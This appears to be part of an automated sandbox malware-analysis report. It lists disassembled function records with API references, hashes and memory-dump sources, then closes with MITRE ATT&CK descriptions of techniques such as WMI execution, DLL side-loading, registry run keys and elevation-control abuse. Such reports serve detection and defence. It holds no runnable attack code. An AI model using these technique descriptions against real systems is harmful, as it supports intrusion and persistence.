Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 288c51f84b61f88815cb9e54d337bf8bb85fc5b2dcb5d4d5e2a986185ac6fdb6
Instruction ID: db5c38890f0e8348df984374d2fd22a3d6e05acd21a90bb90d4d974358ca851a
Opcode Fuzzy Hash: 288c51f84b61f88815cb9e54d337bf8bb85fc5b2dcb5d4d5e2a986185ac6fdb6
Instruction Fuzzy Hash: 7941A2B2A19A8285EB609F25F4443B9B7A4FB98784F434131DE8D877A8DFBCD441C741

Function 00007FFEEE201EB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

__unDName.LIBVCRUNTIME ref: 00007FFEEE201F05
InterlockedPushEntrySList.API-MS-WIN-CORE-INTERLOCKED-L1-1-0(?,?,?,?,?,?,?,00007FFEEE1D7595), ref: 00007FFEEE201F87

Strings

, xrefs: 00007FFEEE201F28

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: EntryInterlockedListNamePush__un
String ID:
API String ID: 524438517-3916222277
Opcode ID: 47fe8399b7fe3f20832c88d3e99e3460415be596f92942b6acded4595a71f1d9
Instruction ID: 7f808c97f400e52046219fea3170523c73f86cba607de9a3f4d968ea10a2fa6b
Opcode Fuzzy Hash: 47fe8399b7fe3f20832c88d3e99e3460415be596f92942b6acded4595a71f1d9
Instruction Fuzzy Hash: 8831E412A19B9240EB15DF26A4097792390BB4CFD4B5B4531EDAD033E8DE7DD842C341

Function 00007FFEEE1C173C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,?,00000000,?,00007FFEEE1C1718), ref: 00007FFEEE1C17A3

Strings

IsValidLocaleName, xrefs: 00007FFEEE20D884
EnumSystemLocalesEx, xrefs: 00007FFEEE1C1799

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressProc
String ID: EnumSystemLocalesEx$IsValidLocaleName
API String ID: 190572456-1098237698
Opcode ID: 01f6ff738e71fb6d052a19988c064d12b91bbc42d646210aa8682f63498baed6
Instruction ID: 4c79abb22e7c10613491e2452b279ff1577d4b6d4eec7e632726fca82c0d7e7f
Opcode Fuzzy Hash: 01f6ff738e71fb6d052a19988c064d12b91bbc42d646210aa8682f63498baed6
Instruction Fuzzy Hash: 0531AE71B4974682FA149F14F81177563A1AB88790F434236DE9C477B8EFBCE484C742

Function 00007FFEEE1F9460 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_handle_errorf.LIBCMT ref: 00007FFEEE1F95D2

Strings

", xrefs: 00007FFEEE1F957D
powf, xrefs: 00007FFEEE1F95CB

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: _handle_errorf
String ID: "$powf
API String ID: 2315412904-603753351
Opcode ID: 9c0c2074deed8049657b9258028c4a6d4fcf62c9ac615ca19d8b2c990d0ceb3c
Instruction ID: 8f5d6b91bda51fbf112c3327bf1620b8e41ba34e9247c1acdbdd3dc9a6556395
Opcode Fuzzy Hash: 9c0c2074deed8049657b9258028c4a6d4fcf62c9ac615ca19d8b2c990d0ceb3c
Instruction Fuzzy Hash: F74156B3D186819AD370CF62E4847AAB6A0FB99348F121327F789019B4CFBDC595DB41

Function 00007FFEEE22DECC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFEEE22D6DD,?,?,?,?,?,?,?,?,?,00007FFEEE22F22F), ref: 00007FFEEE22DF46

Strings

IsValidLocaleName, xrefs: 00007FFEEE22DF28
LocaleNameToLCID, xrefs: 00007FFEEE22DF3C

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressProc
String ID: IsValidLocaleName$LocaleNameToLCID
API String ID: 190572456-1205873579
Opcode ID: da5a0cbb9eed6f49c66cde4c074b3381cfb5118fa4e19aac0d89585cb23fb15e
Instruction ID: a39fdc2e53014e9a0e7531813328783753332e534f04d6004ed480362b87b4c5
Opcode Fuzzy Hash: da5a0cbb9eed6f49c66cde4c074b3381cfb5118fa4e19aac0d89585cb23fb15e
Instruction Fuzzy Hash: 8831B161B09B4283FA549F19B41037522D0AF8C794F475135EE9D573B8EFACF940824A

Function 00007FFEEE1C1818 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0 ref: 00007FFEEE1C1877
IsValidLocale.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FFEEE20D974

Strings

IsValidLocaleName, xrefs: 00007FFEEE1C186D, 00007FFEEE20D92A

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressLocaleProcValid
String ID: IsValidLocaleName
API String ID: 2003423906-4210551052
Opcode ID: aa0c9484b85fe4de99d01dd0ea85bc865ed249eb48ddc0d080c0ce807d6728e7
Instruction ID: e0734908964f1e7ad8f34adec59b5e00c9e709e22f0201f826f5a03b407065b5
Opcode Fuzzy Hash: aa0c9484b85fe4de99d01dd0ea85bc865ed249eb48ddc0d080c0ce807d6728e7
Instruction Fuzzy Hash: E521B520B0D60282FA598F65B81177523A1AF8DB90F075235DD9D577F8EFACF9808341

Function 00007FF7102DE8C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7102DE908
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7102DE95A

Strings

:, xrefs: 00007FF7102DE91E

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: e37c33f8f2befd5fbd3c49cdc0b6d52123385b6fd944ea7372e41dd3f6ca63dc
Instruction ID: 949a81af9528a8a87a4adb6088fcd41ae1d341a57f5be54c0a7e0f5be43ec9de
Opcode Fuzzy Hash: e37c33f8f2befd5fbd3c49cdc0b6d52123385b6fd944ea7372e41dd3f6ca63dc
Instruction Fuzzy Hash: 0E21CE63B08A8182EF60BB15D4542BEABA2FB84B94FC54035DA8C53784CF7CFD498760

Function 00007FFEEE1E22B8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFEEE1D00FD), ref: 00007FFEEE1E231B

Strings

AppPolicyGetThreadInitializationType, xrefs: 00007FFEEE2174DA
CompareStringEx, xrefs: 00007FFEEE1E2311

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressProc
String ID: AppPolicyGetThreadInitializationType$CompareStringEx
API String ID: 190572456-1200376162
Opcode ID: 95f3ea5dba3dd10852bc24ad49b951e7ad07eba23ba389b1255418d767f352e6
Instruction ID: 919fa4e31052d3702f426e6d973c424fd81c4f83d9915c68c2c0145fe5445867
Opcode Fuzzy Hash: 95f3ea5dba3dd10852bc24ad49b951e7ad07eba23ba389b1255418d767f352e6
Instruction Fuzzy Hash: E221C361A0960342FA558B98F821BB513919F8C394F1B5136ED9D4B3B8EEACF9818743

Function 00007FFEEE1F9330 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FFEEE1F9442

Strings

", xrefs: 00007FFEEE1F941B
pow, xrefs: 00007FFEEE1F9431

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: 2042b7108def7f110b1b6ee9971e6cff704b54fec920353340c6430c5a27a184
Instruction ID: 33f8031779a8184149323986d85e77eaa6eca657dcd0346ff4fac79a67338ea7
Opcode Fuzzy Hash: 2042b7108def7f110b1b6ee9971e6cff704b54fec920353340c6430c5a27a184
Instruction Fuzzy Hash: 58216E72D18AC486D774DF54F04076AB6A1FFEA344F122326F6C906964CBBDD0819B01

Function 00007FF7102CF068 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7102CF0B8
RaiseException.KERNEL32 ref: 00007FF7102CF0F9

Strings

csm, xrefs: 00007FF7102CF0E6

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction ID: 7f73d800b3a425f4758f60ec51b0d0ff776963957c08862f785d087010eaf67f
Opcode Fuzzy Hash: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction Fuzzy Hash: A3118B32618F8182EB618B24F50026ABBE0FB88B94F984230DF8C07769DF3CE455CB00

Function 00007FF7102DFA4C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102DFA7C
GetDriveTypeW.KERNEL32 ref: 00007FF7102DFABC

Strings

:, xrefs: 00007FF7102DFAA5

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction ID: b52549dab8f6fa18d36ee9f29823605c4451c89bd64dcef07c637251050dbbb5
Opcode Fuzzy Hash: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction Fuzzy Hash: 3F01842291CA4386FB61BF60946167EAB90EF48728FC00135D54D46791DF7CF948CB28

Function 00007FFEEE1F5570 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_handle_errorf.LIBCMT ref: 00007FFEEE1F5605

Strings

expf, xrefs: 00007FFEEE1F55E8
", xrefs: 00007FFEEE1F55CF

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: _handle_errorf
String ID: "$expf
API String ID: 2315412904-303238936
Opcode ID: fef54ff7b95874bec43b0b3bdd19ececa4550de330a24f97a3394677f46fc204
Instruction ID: cdaea9ce57f06f71ea42027c04a19beaa651d7cfac4bc4170452011535dde23e
Opcode Fuzzy Hash: fef54ff7b95874bec43b0b3bdd19ececa4550de330a24f97a3394677f46fc204
Instruction Fuzzy Hash: D8017072928AC496E220CB21E08A3AAB6A0FFE5344F615315E784166B0CFBDD4D5EB40

Function 00007FFEEE1F54D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FFEEE1F5556

Strings

", xrefs: 00007FFEEE1F552F
exp, xrefs: 00007FFEEE1F5545

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: _handle_error
String ID: "$exp
API String ID: 1757819995-2878093337
Opcode ID: c4fcf76e3e29136143e1cba3a9cff0f211c77a69fc1107ed387352c2ebce5c6a
Instruction ID: e3947faa3afa3a6941ced2dccf4ae525205e075ab209d12c9c47f50e7d428d9d
Opcode Fuzzy Hash: c4fcf76e3e29136143e1cba3a9cff0f211c77a69fc1107ed387352c2ebce5c6a
Instruction Fuzzy Hash: F501A176928A8882E220CF24E4493AA76A1FFEA304F611316E78516670CBBDD4C1DB00

Function 00007FFEEE1F9A90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_handle_errorf.LIBCMT ref: 00007FFEEE1F9A6F

Part of subcall function 00007FFEEE1F3E60: _raise_excf.LIBCMT ref: 00007FFEEE1F3F06

Strings

sinf, xrefs: 00007FFEEE1F9A96
!, xrefs: 00007FFEEE1F9A5F

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: _handle_errorf_raise_excf
String ID: !$sinf
API String ID: 3848079588-676365165
Opcode ID: 89606b5e8b4cf005ad09f5a2b269fb4f6582657320634e1412b4497a7eece82f
Instruction ID: b9ba85f7195396449ea627c5c8139b609290ce2efcf7259cf5fe46a1055ca5d9
Opcode Fuzzy Hash: 89606b5e8b4cf005ad09f5a2b269fb4f6582657320634e1412b4497a7eece82f
Instruction Fuzzy Hash: 3901887291C68187F314DB66B48136AB691FFD4784F314325E789066B8DBBCD4C09F41

Function 00007FFEEE1F9AD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_handle_errorf.LIBCMT ref: 00007FFEEE1F9A6F

Part of subcall function 00007FFEEE1F3E60: _raise_excf.LIBCMT ref: 00007FFEEE1F3F06

Strings

tanf, xrefs: 00007FFEEE1F9AD6
!, xrefs: 00007FFEEE1F9A5F

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: _handle_errorf_raise_excf
String ID: !$tanf
API String ID: 3848079588-3147098732
Opcode ID: dac575506c6d9ff4d36a2ef70b3c3940e4631d6360e2b511d47d035168ef6ee1
Instruction ID: 850443bf08def7a57aecc35f3cb15e57d243a63525240983d3a23c8e45c0177d
Opcode Fuzzy Hash: dac575506c6d9ff4d36a2ef70b3c3940e4631d6360e2b511d47d035168ef6ee1
Instruction Fuzzy Hash: DC01887291C68187F314DB66B48136AB591FFD4784F314325E78906AB9DBBCD4C09F41

Function 00007FFEEE1CCAA4 Relevance: 5.3, APIs: 4, Instructions: 265COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,00000000,00000000,?,?,00000000,00007FFEEE1CC9C1), ref: 00007FFEEE1CCBE6
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(?,?,?,?,00000000,00000000,?,?,00000000,00007FFEEE1CC9C1), ref: 00007FFEEE1CCC39
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,?,?,00000000,00007FFEEE1CC9C1), ref: 00007FFEEE2109E1

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: d72928f14c07642b18a7873c648fbe44bf993ae18c83a1b561327d21b3e4d091
Instruction ID: 1385e4727a39e8280646246d1fd87104224fcb87b42d896c2b7a5fe93f38d460
Opcode Fuzzy Hash: d72928f14c07642b18a7873c648fbe44bf993ae18c83a1b561327d21b3e4d091
Instruction Fuzzy Hash: AEB1C921E0C26245F7685F54A05177D6690FF88794F6F4237DBDE86AF4CEACA9C08203

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
